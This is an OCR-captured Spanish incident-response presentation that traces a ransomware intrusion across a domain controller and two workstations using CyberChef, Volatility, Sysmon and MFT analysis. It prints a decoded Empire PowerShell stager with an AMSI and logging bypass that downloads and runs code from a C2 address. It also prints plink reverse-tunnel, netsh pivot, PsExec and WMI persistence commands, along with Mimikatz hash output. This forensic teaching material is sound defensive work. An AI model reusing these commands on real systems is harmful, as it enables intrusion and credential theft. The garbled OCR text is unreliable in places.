Un Powershell con una cadena en Base64

= Decodificamos y adecentamos con
CyberChef
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| , [ ] "'] l"l
If ($PSVERsiONTABLePSVERsiOnMaJoR = ge 3) { a S O 6 | a u C e r bat
$b7f4 = [ReF]AssEmbLYGETTyPe('SystemManagementAutomationUtils')"GEtFie Ld"('cachedGroupPolicySettings', 'N' + 'onPublic,Static'); [] [}

If ($b7F4) {

$b399 = $B7F4GeTVAlue($nuLl);

If ($b399['ScriptB' + "lockLogging']) {
$B399[ 'ScriptB' + 'lockLogging']['EnableScriptB' + 'lockLogging'] = @;
$B399[ 'ScriptB' + 'lockLogging']['EnableScriptBlockInvocationLogg:

}
$VAl = [COLlectIonsGeneRICDicTIonaRy[STRING, SYstEmObJecT]]::New();
$ValAdD('EnableScriptB' + 'locklLogging', ©);

(] L]
$VALAdd( ' EnableScriptBlockInvocationLogging', @); .
$b399[ 'HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB' + 'lockLogging'] = $valL
} ELSE {
nada :-/
L]

[SerIptBLoCk]"GetFiE 1d"('signatures', 'N' + "onPublic,Static')SeTValue($NuLl, (NEW - ObJECt COLlecTIonsGenEriCHaShSeT[StrING]))

$REf = [REF]ASSeMblYGEtTYPe( 'SystemManagementAutomationAmsi' + 'Utils');
$REfGetFielD("amsiInitF' + 'ailed', 'NonPublic,Static')SETVAIUE($nuLL, $TRue);
IH
[SyStEMNetSERVICEPOINTMaNAgER]: : EXpECT188CoNTinue = ©;

L]
$El:b = New - OBjeCt SYStemNetWEbClieNt; . S b
$u = 'Mozilla/56 (Windows NT 61; WOW64; Trident/78; v:118) like Gecko'; | U S C a | | | O S
$ser = $([TEXtENCODING]: :UnIcOdeGeTSTRING([CONVErT]: FroMBASE64StrInG( ' aABOAHQACAAGACSALWAXADAAMQAUADEAMWAYACAAMQAYAD AL gAYADEANEAGADQANAAZADMA' )) ) ;
$t = '/admin/getphp';
$ebDDHEadersSAdd( 'User-Agent', $u);
$EbADPROXY = [SyStEMNeTWEbRequESt]: :DefaultWEbPROXY; Ca e n a S S a e r
$EbDDPROXYCReDeNtIals = [SYstemNetCrEdentIalLCACHe]: :DEfAULtNetWoRKCREdeNTials;
$Script:Proxy = $ebddProxy;

$K = [SYSTEMTExtEncodIng]::ASCIIGetBYtEs('{@:w?Pul>¥%x_IhL,}EgSZV54](Bpe+m'); d :
N e cmplire
$D, $K = $ARGS;

$S = 8255;
8255|% {
$3 = ($1 + $5[$_] + $K[$_%$KCounT])%256;

zél:its_l. $s[$3] = $5[$3], $S[$_] L Ot r_a Ca d e n a e n

$I = ($I + 1)%256;
$H = ($H + $S[$1])%256;

[}
S Base64 interesante
$_ - bXoR$S[($S[$I] + $S[$H])%256]

}

Y

$ebdDHeaDErsADd("Cookie", "DqtXbjDIIPwMwv=LztXCXESYg+zv2Xe3e32HWzi6hE=");
$DaTA = $EbDADOWNLOadDAtA($sEr + $t);

$iV = $Data[@3];

$dATa = $dATa[4$dATALENGth];

- JOIN[ChAR[]](& $R $daTA ($IV + 3K))|IEX
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Paso 6; launcher.bat

Download CyberChef i Last build: 5 months ago - v3 supports multiple inputs and a Node API allowing you to prog... Options ¢ About / Support 0
A — start: 72 length: 72 —
Operations Recipe T Input lenzzﬁ: 2 ines: 1 + O] § ™=
Search F B 64 GD T aABOAHQACAABACBALWAXADAAMQAUADEAMWAYACAAMQAYADIALgAYADEANEABADQANAAZADMA
rom Base

Favourltes * Alphabef - start: 54 time: Sms

A—Za-29—9+/= Output end: 54 lerjg‘th: 54 a I_D m : ]
To Base64 length: @ lines: 1

h.t.t.p.:././.1.0.1...1.3,2...1.2.2...2.1.6.:.4.4.3.3.

Remove non-alphabet chars
From Base64

To Hex

El agente de Empire contacta contra su C2:
101.132.122.216:4433




_1oC___

Contacto conla P 101.132.122.216
Secundario: conexiones con el puerto 4433
Existencia de v2.exe y v2c.exe en C:\temp
Revisar los logs de proxy / cortafuegos
Revisar manualmente los equipos

centro criptolégica nacional




DC: Conclusiones

Atacantes se conectan por RDP como admin.
de dominio

Despliegan agente de Empire (AV off)

Copian y despliegan las GPO (apisonadora +
ransomware)

Programan el ransomware a las 17.15h UTC




Timeline del incidente

15:08n Progamacion del
ransomware a las 17.15h

13:517h Acceso RDP a
DC con dom.adm

1

O O O

15:30 Alerta
| del
J iNncidente

o

15:13h Lanzamiento
del agente de Empire

o

¢




Analisis del incidente: Objetivos

= Alcance: 2 equipos comprometidos, TODO el
parque afectado

= |mpacto: Eliminacion completa de barreras de
seguridad en todo el dominio, intento de
despliegue de ransomware

= |0C 3

»  \ector de entrada: RDP con credenciales de
admin. del dominio




2.2

W10-

°C3 (10.11.2.14)
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Paso 1: Volatility

= Sacamos con el plugin netscan de Volatility las
conexiones de red (profile Win10x64_17134)

Offset(P) Local Address Foreign Address State Owner Created

©x9ceevelfds2e ©.6.9.0:135 ©.0.0.0:90 LISTENING svchost.exe 2820-11-89 :19: UTC+eeee
©x9ceevelfds2e 111135 110 LISTENING svchost.exe 2820-11-89 :19: UTC+eeee
exc58d82c4b57e svchost.exe 202e-11-09 :19: UTC+e600
exc58d82ebe8de svchost.exe 202e-11-09 :19: UTC+e600
exc58d82ebsa3ze svchost.exe 202e-11-09 :19: UTC+e600
exc58d82ebka3e svchost.exe 2020-11-09 :19: UTC+00080
exc58d82eb6boe svchost.exe 2020-11-09 :19: UTC+00080
exc58d82eb6boe svchost.exe 2020-11-09 :19: UTC+00080
exc58d82cd2aae .0.0:9 LISTENING svchost.exe 2020-11-09 :19: UTC+00080
©xc58d82d31ae0 .8.e. 0.0:0 LISTENING svchost.exe 2020-11-89 :19: UTC+eeee
exc58d82d3l1ael HE 1110 LISTENING svchost.exe 2020-11-09 :19: UTC+00080
Pxc58d837bb8ao .8.0.0: Sigi powershell.exe 20208-11-89 13:17:82 UTC+0060
Pxc58d837bb8ao HH * ¥ powershell.exe 20208-11-89 13:17:82 UTC+0060
©xc58d83645320 .11.2.14:51572 101.132.122.216:4433 ESTABLISHED

exc58d83b2bcce .11.2.14:7680 16.11.2.16:51236 CLUSED 4978-04-28 :34: UTC+0600
©xc58d83cf8cco .11.2.14:445 16.11.2.11:51069 ESTABLISHED -

©xc58d83f12ce0 .11.2.14:50538 104.18.20.226:80 CLOSE_WAIT -

= Contacto con el C2 anterior - Equipo comprometido

M O % % % % % K s
@ ® * * * K ¥ *
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Paso 1: Volatility

= sConexiones a un SSH remoto?

oxc58d893bse1e 1::47e01 45 LISTENING
0xc58d89212560 10,31 2 JA. 51444 18,11 2 71 . Jega CLOSED:
0xc58d892c70180 16.11.2.14:51481

101.[132.122.216:22]  ESTABLISHED
0xc58d89336010 10.1l.2.14:3201> 54.247 .37 .20:00 CS1ADLLOMEY

0xc58d8945e4a0 16.11.2.14:51988 131.253.33.254:443  CLOSED

2020-11-89 14:21:31 UTC+e0e0e
6793-84-16 08:17:35 UTC+0000

;Qué hace el equipo sirviendo algo en el 443/tcp ?

0xc58d888874c0 . 13.107.4.52:80 CLOSED
@xc58d8896fd3e .0.0.0:¢ ©.0.0.0:0 LISTENING

©xc58d8897ac6e .0.0.09: g8l

svchost.exe 2020-11-69 13:30:52 UTC+o000
powershell.exe 2020-11-09 13:49:26 UTC+0000

©xc58d8897ac6e N g8

powershell.exe 2020-11-69 13:49:26 UTC+0000

= ;Quién nos da info sobre esas conexiones? -

Sacamos la Sysmon-sefal




SYSMON GOT THIS




Microsoft-Windows-Sysmon%40perational 1  Numero de eventos: 29.908

=4 Filtrados:Registro: file://C:\Users\antonio\Desktop\ransomware_ate_my_network\Evidencias_Pasos_STIC\Paso 2.2 - DC -

Nivel Fechay hora ” Origen
@ Informacion 09/11/2020 14:30:51 Sysmon

<

Evento 1, Sysmon

General Detalles

Process Create:

RuleName:

UtcTime: 2020-11-09 13:30:51.915

ProcessGuid: {aed05ab1-448b-5fa9-0000-00101405f100}

Image: C:\Windows\System32\plink.exe

Description: Command-line SSH, Telnet, and Rlogin client
Product: PUTTY suite
Company: Simon Tatham

CommandLine: c:\windows\system32\plink.exe -batch -hostkey 78:77:31:27:96:40:1¢:88:76:cf:f9:a4:10:27: 1e:dc dimitri@
101.132.122.216 -pw dosdivanya2020 -P 22 -2 -4 -T -N -C -R 12345:127.0.0.1:443

User: W10-PC3\admin
LogonGuid: {aed05ab 1-3fa9-5fa9-0000-0020001ce800}

Logonld: 0xE81C00

TerminalSessionld: 0

IntegrityLevel: High

Hashes: MD5=3FBEA74B92F41809F46145F480782EF9,SHA 256
=CA57391CDBAC224F159E858425D231D068AA76316E0345CB8D58C716BOEFF587

ParentProcessGuid: {aed05ab1-448b-5fa9-0000-00101f04f100}

ParentProcessld: 5576

Parentimage: C:\Windows\System32\cmd.exe

ParentCommandLine: C:\WINDOWS\system32\cmd.exe /c ""C:\WINDOWS\system32\launch_plink.bat""

CoN-cert
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Paso 2: Sysmon

s Plink: compafero de
putty = SSH
automatizados

= Tunel entre el equipo
atacante y el Puerto
443 |ocal

= Padre:
launch_plink.bat
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Microsoft-Windows-Sysmon%4O0perational 1  Numero de eventos: 29.908

4 Filtrados:Registro: file://C:\Users\antonio\Desktop\ransomware_ate_my_network\Evidencias_Pasos_STIC\Paso 2.2 - DC - P a S O ! ° ! yS m O n
°

Nivel Fecha y hora Origen
(@) Informacién 09/11/2020 14:30:51 Sysmon

<

e = Netsh: manipulacién
de red por linea de
5?5:1?:??020-11-09 13:30:51.957 C O m a n d O S

ProcessGuid: {aed05ab 1-448b-5fa9-0000-0010c405f 100}
Processld: 10656
Image: C:\Windows\System32\netsh.exe

FileVersion: 10.0.17134.1 (WinBuild.160101.0800) u Re d i r . d e | p u e rto | O Ca |

Description: Network Command Shell

Product: Microsoft® Windows® Operating System
Company: Microsoft Corporation a e

CommandLine: netsh interface portproxy add v4tov4 listenport=443 listenaddress=0.0.0.0 connectport=3389 connectaddress=
10.11.2.200

T = Precioso pivot SSH-

LogonGuid: {aed05ab1-3fa9-5fa9-0000-0020001ce800}
Logonld: 0xE81C00

TerminalSessionld: 0
IntegrityLevel: High
Hashes: MD5=98CC37BBF363A38834253E22C80A8F32,SHA256

=D6072E8809E95B8297FBDC431FFDA58A04B845664145A8443318FCAFC2EABS73 [ | dN a d | e h a \/| Sto q U e S e

ParentProcessGuid: {aed05ab1-448b-5fa9-0000-00101f04f100}

E:::::rnﬁ?eisg:\\{;\zi?dows\Svstem32\cmd.exe eJ e C U ta C O m O a d m I n?

ParentCommandLine: C:\WINDOWS\system32\cmd.exe /c ""C\WINDOWS\system32\launch_plink.bat""
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Microsoft-Windows-Sysmon%40perational 1  Numero de eventos: 29.908

<7 Filtrados:Registro: file://C:\Users\antonio\Desktop\ransomware_ate_my_network\Evidencias_Pasos_STIC

| Paso 2: Sysmon

Nivel Fechay hora Origen
() Informacion 09/11/2020 14:30:51 Sysmon

<

= Launch_plink.bat =
— Script que lanza todo

Process Create:
0 anterior
UtcTime: 2020-11-09 13:30:51.878

ProcessGuid: {aed05ab 1-448b-5fa9-0000-00101f04f 100}
Processld: 5576

Image: C:\Windows\System32\cmd.exe [ ] D a d re P Owe rS h e | | 9
FileVersion: 10.0.17134.1 (WinBuild.160101.0800)

Description: Windows Command Processor D [ [
Product: Microsoft® Windows® Operating System O S | b | e E I ' I | re
Company: Microsoft Corporation

OriginalFileName: Cmd.Exe
CommandLine: CAWINDOWS\system 3l\cmd.exe /c ""CAWINDOWS\system32\launch_plink.bat""

CurrentDirectory: C:\WINDOWS\system m L e C u t a d O t a m b | é n
User: W10-PC3\admin _J

LogonGuid: {aed05ab 1-3fa9-5fa9-0000-0020001ce800} .

Logonld: 0xE81C00 C O m O a d m | n

TerminalSessionld: 0 oo

IntegrityLevel: High

Hashes: MD5=4E2ACF4F8A396486AB4268C 94A6A245F, SHA256= y
9A7C58BD98D70631AA1473F7B57B426DB367D72429A5455B433A05EE251F3236 [} o D e d O n d e S a | e e S e
ParentProcessGuid: {aed05ab 1-42ea-5fa9-0000-00109025ef00} d

ParentProcessld: 6628

Parentimage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe p O\/\/e rS h e | | ?

ParentCommandLine: powershell -noP -sta -w 1 -enc °
SQBmMACqAJABQAFMAVqGBFAFIAcwBpAESATGBUAEEAQGBMAGUALGBQAFMAVGBFAFIAcwBpAES8AbgAU.




Microsoft-Windows-Sysmon%40perational_ 2  Numero de eventos: 29.908

<7 Filtrados:Registro: file://C:\Users\antonio\Desktop\ransomware_ate_my_network\Evidencia

Nivel Fecha y hora Origen Id. del evento
() Informacion 09/11/2020 14:16:54 Sysmon 1
£, - e

Evento 1, Sysmon

General Detalles

UtcTime: 2020-11-09 13:16:54.916

ProcessGuid: {aed05ab 1-4146-5fa9-0000-00101e2de900}

Processld: 11696

Image: C:\Windows\System32\cmd.exe

FileVersion: 10.0.17134.1 (WinBuild.160101.0800)

Description: Windows Command Processor

Product: Microsoft® Windows® Operating System

Company: Microsoft Corporation

OriginalFileName: Cmd.Exe

CommandLine: C:\WINDOWS\system 32\cmd.exe /c ""C:\launcher.bat" "
CurrentDirectory: C:\WINDOWS\system32\

User: W10-PC3\admin

LogonGuid: {aed05ab1-4146-5fa9-0000-0020142ae900}

Logonld: OxE92A 14

TerminalSessionld: 0

IntegrityLevel: Medium

Hashes: MD5=4E2ACF4F8A396486AB4268C94A6A245F, SHA256=
9A7C58BD98D70631AA1473F7B57B426DB367D72429A5455B433A05EE251F3236
ParentProcessGuid: {aed05ab1-413f-5fa9-0000-00109220e900}

Parentimage: C:\Windows\PSEXESVC.exe
ParentCommandLine: C:\WINDOWS\PSEXESVC.exe
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Paso 2: Sysmon

BusCcamaos por
launcher.bat (mismo que
en el DC) = IBingo!

Lanzado con PsExecy
como admin

Eso implica que tenemos
al menos otro equipo
comprometido

;Cual es?
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Paso 2: Sysmon

= SySmMon No recoge las conexiones de red (mala
configuracion) - Volatility si que lo hace

©xc58d83b2bcco TCPv4 10.11.2.14:7680 10.11.2.16:51236 CLOSED
©xc58d83cf8cco TCPv4 10.11.2.14:¥8 10.11.2.11:51e69 ESTABLISHED
©xc58d83f12cee TCPv4 10.11.2.14:50538 104.18.20.226:80 CLOSE_WAIT

Oxc58d854665d0 TCPv4 le.11.2.1
©xc58d85da9850 TCPv4 le.11.2.1
©xc58d85e3e330 UDPv4 127.0.0.1

4:7680 190.11.2.16:51234 CLOSED
4.8 10.11.2.16:50647 ESTABLISHED
159721 gl

2266 svchost.exe

= AmMbOos son equipos de la FFP ... pero uno de ellos es
el tercero en el que "falld” el antivirus - Gotchal




Paso 3: Event Logs

cQuién ha iniciado sesion en el equipo?

antonio@204:~ /I
242 Nombre de cuenta de red:

Nombre de cuenta:

Nombre de cuenta:

Nombre de cuenta:

Nombre de cuenta:

Nombre de cuenta:

Nombre de cuenta:

Nombre de cuenta:

Nombre de cuenta:

Nombre de cuenta:

Nombre de cuenta:

Nombre de cuenta:

ed$ grep "Nombre de cuenta" pc3 4624.txt |sort |uniq -c |sort -nr

W1l0-PC3%
SYSTEM

MINAF-PC1$%
admin

dom.adm
ANONYMOUS LOGON
dolores.jolgorio
DWM-3

UMFD-3
maria.feliz

maria.feliz y dolores.jolgorio = Usuarias de la FFP; admin =
administrador local: dom.adm .... Administrador de dominio

'Qué hace un admin de dominio en un puesto de usuario? >
reguntaselo a los TIC de la FFP, "ellos siempre lo han hecho asi




Paso 4. Privilegios

Conexiones maliciosas de ese equipo al DC con un
admin de dominio

Admin de dominio con sesidn iniciada

Administrador local dejando agentes de Empire y
montando pivots

Atacantes con privilegios = Volcado de credenciales
TTP de Ryuk: LaZagne o Mimikatz (desde Empire)




501882940
501882973
E01883034
B01883078
B01883151
501883206
501883280
01883355
501883404
501883457
801883496
501883522
201883550
501883578
2018836018
501883682
501883690
BE1883711
B01883732
BB1883755
501883803
801883859
501883869
501883881
501883902
801883925
501883947
501883960
B01883981
E01884004
501884026
B01884034

Hostname: W10-PC3.MINAF.ES / -
. mimikatz 2.2.8 (x64) #19041 Aug 10 2020 20:07:46
AT . "A La Vie, A L'Amour™ - (oe.eo)
# / \ ## [*** Benjamin DELPY "gentilkiwi® ( benjamin@gentilkiwi.com )
#HN S W = http://blog.gentilkiwi.com/mimikatz
" v HE Vincent LE TOUX ( vincent.letoux@gmail.com )
'R = http://pingcastle.com / http://mysmartlogon.com  **%/
mimikatz(powershell) # sekurlsa::logonpasswords
Authentication Id : © ; 15280660 (0O0EEEO0:00e92ald)
Session : Interactive from ©
User Name : admin
Domain : W1e-PC3
Logon Server : Wle-Pc3
Logon Time : 09/11/20820 14:16:54
SID : 5-1-5-21-29957870-696220298-2968795694-1005
msv :
[eeeE8ee3] Primary
* Username : admin
* Domain : Wie-PC3
* NTLM : d16178194a0e9c454b4c6603e8c73096
* SHA1 : a6d2571395dal17c5d9d306320ab4272126713375
tspkg :
wdigest :
* Username : admin
* Domain : W1e-PC3
# pPassword : (null)
kerberos :
* Username : admin
* Domain : W1e-PC3
# pPassword : (null)
S5p
credman :
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Paso 4. Privilegios

El plugin strings de Volatility
Se cuelga... pero no hace
falta

Las strings nos dicen lo que
necesitamos saber

Mimikatz ejecutado en el
equipo

Pero ... ¢y dom.adm?




92460714
92460737
92460758
92460806

92460932

92460955
92460976
92460998
92461011
92461034
92461058
92461080
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* Username : dom.adm
* Namain = MTMAE

[ ] [ ] [ ]
i-r'-JTLr-I ?1‘4?28&:?4331t2133'='=q4251::c2aﬂ42c PaSO 4: Pr|V||eg|OS

g9ssucs0CB35a8C5

* Username : dom.adm

* Domaln : MINAF

* Password : (null)
kerberos :

* Username : dom.adm

* Domain : MINAF.ES

* Password : (null)

S5p

NO esta la contrasefia ... ;cOmo han podido conectarse
0s atacantes por RDP al DC?

| 0s atacantes tienen el hash NTLM = Pass the Hash
(PtH) sobre RDP

= Ahora entendemos esa autenticacion NTLM en el DC ...




Paso 5: Persistencia

Los atacantes tienen interés en permanecer
dentro, y privilegios de sobra

¢Habran dejado persistencia?
Sabemos que estan usando Empire
Leemos su codigo fuente:

New-ElevatedPersistenceOption allows for the configuration of elevated persistence options.
The output of this function is a required parameter of Add-Persistence. Available persitence
options in order of stealth are the following: permanent WMI subscription, scheduled task,
and registry.
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Paso 5: Persistencia

= Probamos suerte con WMI. Segun el fuente, este
codigo es el que lanza la persistencia:

SElevatedTr/gger— """ SFilter=Set-Wmilnstance -Class __EventFilter \{\‘Iamesp‘qce “root\subscription
@{name="Updater';EventNameSpace="root\CimV2';QueryLanguage="""WQL ™"

gy

-Arguments

BN Simbolo del sistema

[ = PP - " - - B * - . []

P\Users\e voonlo Tosiiio o ' o Coldonlon i Tone : Lol NITTI i

1822694052 $Filter=Set- leInstance -Class EventFllter -Namespace root\subscrlptlon -Arguments @{name="'Updater' ; EventNameSpace="'root\CimV2';QueryLanguage="WQL"; Juery=
ANU  1alBELLiisLdiiLe. dysLemup e s~ <40 Anp 1argetIn

-Arguments @{ name='Updater';CommandLineTemplate="

"SELECT ok rowrl _ Ldilskdliver iUl LedLlWNIRVEIIL WL ITLIN 99 WILRL Idl gelliloldilive LoA Wil FEl'irviidlilculidld _FEl’ 1Wa oy oa Ll
stance.SystemUpTime < 325"};$Consumer=Set-WmiInstance -Namespace "root\subscription" -Class 'CommandLineEventConsumer'

% ($Env:SystemRoot ) \System32\WindowsPowerShell\vl.@\powershell.exe -NonI -W hidden -enc SQBmMACgAJABQAFMAVgBFAFIAUWBJAESATgBUAGEAQgBSAGUALgBQAFMAVEBFAHIAUWBPAESATZAUAEBAYQ
BqAE8AUgAgACOARWBFACAAMWAPAHSAJAASADMAOQASAF sAcgBlAGYAXQAUAEEACWBZAGUAbQBLAGWAeQAUAE cAZQBUAFQAeQBQAEUAKAANAFMAeQBZAHQAZQBLAC4ATQBhAGAAYQBNAGUADQBLAGAAJAAUAEEADQBOAGSADLQB
AHQAaQBVAGAALgBVAHQAaQBsSAHMAIWAPACAAI gBHAEUAJABGAEKARQBAGWAZAAIACZATWBJAGEAYWBOAGUAZABHAHIAbWB1AHAAUABVAGWC : \Program Files\Common Files

= Persistencia encontrada - Equipo pasto (mas
todavia) del fuego puriticador
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_1oC___

= Contacto con el puerto 22/tcp de IP externa
= Tener el puerto 443 y ser un puesto de trabajo

Existencia de launc
Revisar los logs de

ner.bat / launch_plink.bat

oroxy / cortafuegos

Revisar los equipos con un script (post-incidente)
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W10-PC3: Conclusiones

Atacantes se conectan con un agente de Empire
anzado desde otro equipo con PsExec

Descubren que hay un admin de dominio, y
vuelcan su hash NTLM con Mimikatz

Montan un pivot SSH-RPD con plink+netsh

Se conectan contra el DC con RDP usando el
hash NTLM y PtH
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13:16-13:50Nn Obt Ie : : : :
Jo haches de dora ot Timeline del incidente

via Mimikatz 15:08h Programacion

del ransomware a las

13:16 Psexec + Empire 17:15h UTC
en W10-PC3 1351h Acceso RDP a DC
con dom.ad mFy pivot
/ SSH-RD
15:30 Alerta
| del
y " incidente
--.- =
O

15:13h Lanzamiento
del agente de Empire

¢
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Analisis del incidente: Objetivos

Alcance: 3 equipos comprometidos

Impacto: Movimiento lateral +
obtencidén de credenciales de admin
de dominio + pivot RDP-SSH

OC: 6
Vector de entrada: PsExec + Empire




2.3

W10-

P (

°C dolores.jolgorio)
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Paso 1: MFT

= Sospechamos que el PsExec viene de este equipo

= Buscamos actividad en la MFT sobre la fecha de
ejecucion (13:16h UTC)

2020-11-09 12:37:45 15553 zip \Users\dolores.jolgorio\Documents\20201109133730 BloodHound.zip

2020-11-09 12:38:59 | 374944 exe \Users\dolores.jolgorio\Documents\stalin.exe

2020-11-09 12:39:30 257 hat \Users\dolores.jolgorio\Documents\dosdivanya_security.bat

2020-11-09 12:40:12 7161 pf \Windows\Prefetch\STALIN.EXE-8DE32785.pf

20%30-11-09 13:01:12 69632 evix indows\oystemsZ2iwineyiLogsiMicrosolt-Windows-N [ LM%4Operational.ev

2020-11-09 13:01:12 69632 evix \Windows\System32\winevi\LogsiMicrosoft-Windows-Security-Netlogon%e4Operational.evix

2020-11-09 13:06:00 10192 pf \Windows\Prefetch\SVCHOST.EXE-AE7DB802.pf

2020-11-09 13:16:39 \Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Credentials

2020-11-09 13:16:39 450 \Windows\System32\config\systemprofile\AppData\RoamingiMicrosofi\Credentials\60436 D32 F6AFC34F 7TESE2B60036A0B 79
2020-11-09 13:16:39 2341 pf \Windows\Prefetch\CMDKEY.EXE-DF5D5A39. pf

2020-11-09 13:16:47 \ProgramData\Microsoft\Crypto\RSA\S-1-5-18

2020-11-09 13:16:47 49 \ProgramData\Microsoff\Crypto\RSA\S-1-5-18\344709f8e3734a2d252dh619bc99618d_d18f9d75-9823-405¢-8a3f-3c050334e339

= No hay PskExec, pero parece haber faena ...




Microsoft-Windows-Sysmon%40Operational 4  Numero de eventos: 8.873

7 Filtrados:Registro: file://C:\Users\antonio\Desktop\ransomware_ate_my_network\Evidencias_Pasos_STIC\Paso 3.2 -
Nivel Fechay hora Origen Id. de:l. evento Categoria de la tarea

@ Informacion 09/11/2020 14:16:39 Sysmon 1 Process Create (rule: Process...

P

Evento 1, Sysmon

General Detalles

Process Create:

RuleName:

UtcTime: 2020-11-09 13:16:39.623

ProcessGuid: {d18f9d75-4137-5fa9-0000-0010ce78bf00}
Processld: 8288

Image: C:\Users\dolores.jolgorio\Documents\stalin.exe
FileVersion: 2.2

Product: Sysinternals PsExec
Company: Sysinternals - www.sysinternals.com

OriginalFileName: psexec.c

CommandLline: c:\users\dolores.jolgorio\Documents\stalin.exe \\W10-PC3 -accepteula -u W10-PC3\admin -p
Fiesta2020 C:\launcher.bat

4 s 1Y
User: NT AUTHORITY\SYSTEM

LogonGuid: {d18f9d75-cf6a-5fa3-0000-0020e7030000}

Logonld: 0x3E7

TerminalSessionld: 3

IntegrityLevel: System

Hashes: MD5=9321C107D1F7E336CDA550A2BF049108, SHA256
=AD6B98C0O1EEB49874E4B4502C3D7853196F6044240D3271E4AB3FC6E3CO8BE9A4, IMPHASH =
159D56D406180A332FBC99290F30700E

ParentProcessGuid: {d18f9d75-4137-5fa9-0000-00101775bf00}

ParentProcessld: 6388

Parentimage: C:\Windows\System 32\cmd.exe

ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\dolores.jolgorio\Documents
\dosdivanya_security.bat""
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Paso 2: Sysmon

Buscamos en Sysmon ese
stalin.exe vy ... IBingo!

Stalin = PsExec con bigote, no
engana a Sysmon

Fjecuta el launcher.bat en PC3

Se lanza desde
dosdivanya_security.bat

Se ejecuta como SYSTEM
... con creds de admin local ®
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Microsoft-Windows-Sysmon%40Operational 4  Nimero de eventos: 8.873

<7 Filtrados:Registro: file://C:\Users\antonio\Desktop\ransomware_ate_my_network\Evidencias_Pasos_STIC\Paso 3.2 -

| ’ ° m n
Nivel Fecha y hora Origen Id. de.-l. evento Categoria de |a tarea a S O 2 ° SyS O

@ Informacion 09/11/2020 14:16:39 Sysmon 1 Process Create (rule: Process..

® Informacion 09/11/2020 14:14:52 Sysmon 1 Process Create (rule: Process...

@ Informacion 09/11/2020 13:00:32 Sysmon 1 Process Create (rule: Process..

@ Informacion 09/11/2020 14:16:39 Sysmon 1 Process Create (rule: Process... [ D O S d i\/ a n a S e C U r‘ it b at
@ Informacion 09/11/2020 13:08:42 Sysmon 1 Process Create (rule: Process... y _ y-

(D1t - (012000 14-16:20 g D A ferlen D

: lanzado por un Powershell
codificado

Process Create: A
RuleName:
UtcTime: 2020-11-09 13:16:39.350

e T 7S 07 = .. alguien se ha montado un

Image: C:\Windows\System32\cmd.exe . .

FileVersion: 10.0.18362.1 (WinBuild.160101.0800) | m p e r'l O (d e a ge ntes d e
Description: Windows Command Processor

Product: Microsoft® Windows® Operating System

Company: Microsoft Corporation

OriginalFileName: Cmd.Exe EI | I p | re) e n el I\/l | NAF s e ®
CommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\dolores.jolgorio\Documents

\dosdivanya_security.bat""

CurrentDirectory: C:\Users\dolores.jolgorio\Documents),

User: NT AUTHORITY\SYSTEM

LogonGuid: {d18f9d75-cf6a-5fa3-0000-0020e7030000}

Logonld: 0x3E7

TerminalSessionld: 3

IntegrityLevel: System

Hashes: MD5=9D59442313565C2E0860B88BF32B2277, SHA256

=D0CEB18272966AB62B8EDFF 100E9B4A6A3CB5DCOF2A32B2B18721FEA2DICO9AS, IMPHASH =

272245E2988E1E430500B852C4FB5E18

ParentProcessGuid: {d 18f9d75-2f96-5fa9-0000-00107661a600}
ParentProcestef==as

Parentimage]C:\Windows\System 32\WindowsPowerShell\v1.0\powershell.exe
ParentCom TSt f - hell.exe" -noP -sta -w 1 -enc
SQBGACgAJABQAFMAVgBFAFIAUwBJAESAbgBUAGEAQgBMAEUALgBQAFMAVGBIAFIAUWBPAESBATgAUAED

ANARFACOGA ~rm AsACAATwBIAC A ARAGA mALAA TARIANAADAANANNAMAGRGACIIADARAAC AANNRSACAAADNDR




« v 4B

#* Acceso rapido
I Escritorio
& Descargas
[£] Documentos
[&] Imagenes
) Musica

B videos

@ OneDrive

3 Este equipo
¥ Red

30 elementos

Compartir Vista

Herramientas de aplicacion

> Esteequipo > Discolocal (C:) » Usuarios > dolores.jolgorio > Documentos »

PO Y

Nombre

launch_plink
&P plink
[7] dosdivanya_security
[¥] stalin
¢ 20201109133730_BloodHound

[ '] ZDEA4ZjIkNzUtOTgyMyOOMDViL...

gonchaya
E'] ad_computers
[:] ad_users
[:] adinfo
D computers_pwdnotreqd
5 delist
[:] dcmodes
D domainlist
D subnets
D trustdump
adfind
™ adfind
E| nyetAV
stolichnaya_def
[ launcher
E] processes
[=] networks
C] local_groups
E] domain_groups
D dom_users

U local_users

D user_privs

1 elemento seleccionado 257 bytes

Fecha de m;dificacic’m

09/11/2020 14:26
09/11/2020 14:26
09/11/2020 14:23
09/11/20.

S 8 M0 O O & 6 © 8 8 8 60 B 6 6 6 8 &

[ Y B~ Y - S~ S Y- B v S~ Y- SV~ R v - ST S Y - Y= 5 O O b D

b Vb ol b emb b A il o R sih kel ek i i iomb! lieb: ‘o

(e T B R Y S B T N T B B B o B T e B e T T o B B

O O O O 0 O 0 0 0 0O 0 0 0 O o o0 o o o

[ e B = B e B Y s Y v B v T S T o R o S s S S S S Y S R v B o T o~ B o R
O O 0O O 0O O O O O O O 6 O 0 0 o0 o o o o
ki ek ek b gk A R sob e 2k b b mh ek ekl el ek b ek e
DO Y W W oW W W W W W W oW W W W W W W
B b B O O = NN N NN NN W W W oW
P oo S W e 1 ©© O 0 W W W W W w O 1 1 o

<
(r=]
-
nJ
p=4
~
1=
—_
ro
=
(]

09/11/2020 12:42
09/11/2020 12:42
09/11/2020 12:42

Tipo v Tamafio

Archivo por lotes l% 1KB
Aplicacion 660 KB
Archivo por lotes ... 1KB
Aplicacion 367 KB
Carpeta comprimi... 16 KB
Archivo BIN 24 KB
Aplicaciéon 814 KB
Documento de te... 1KB
Documento de te... 1KB
Documento de te... 1KB
Documento de te... 1KB
Documento de te... 1KB
Documento de te... 1KB
Documento de te... 1KB
Documento de te... 1KB
Documento de te... 43KB
Archivo por lotes ... 2KB
Aplicacién 1.582 KB
Entradas de registro 1KB
Aplicacion 921 KB
Archivo por lotes ... 6 KB
Documento de te... 11KB
Documento de te... 2KB
Documento de te... 1KB
Documento de te... 2KB
Documento de te... 2KB
Documento de te... 1KB
Documento de te... 1KB
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Paso 3: Ficheros de usuario

| 0S atacantes han montado un
festival de descargas

Launch_plink.bat, plink.exe,
stalin.exe, launcher.bat =
Conocidos

Gonchaya.exe -»>SharpHound
Adfind.exe - Adfina

dosdivanya_security.bat,
nyetAV.reg, stolichnaya._def.exe
- A investigar!
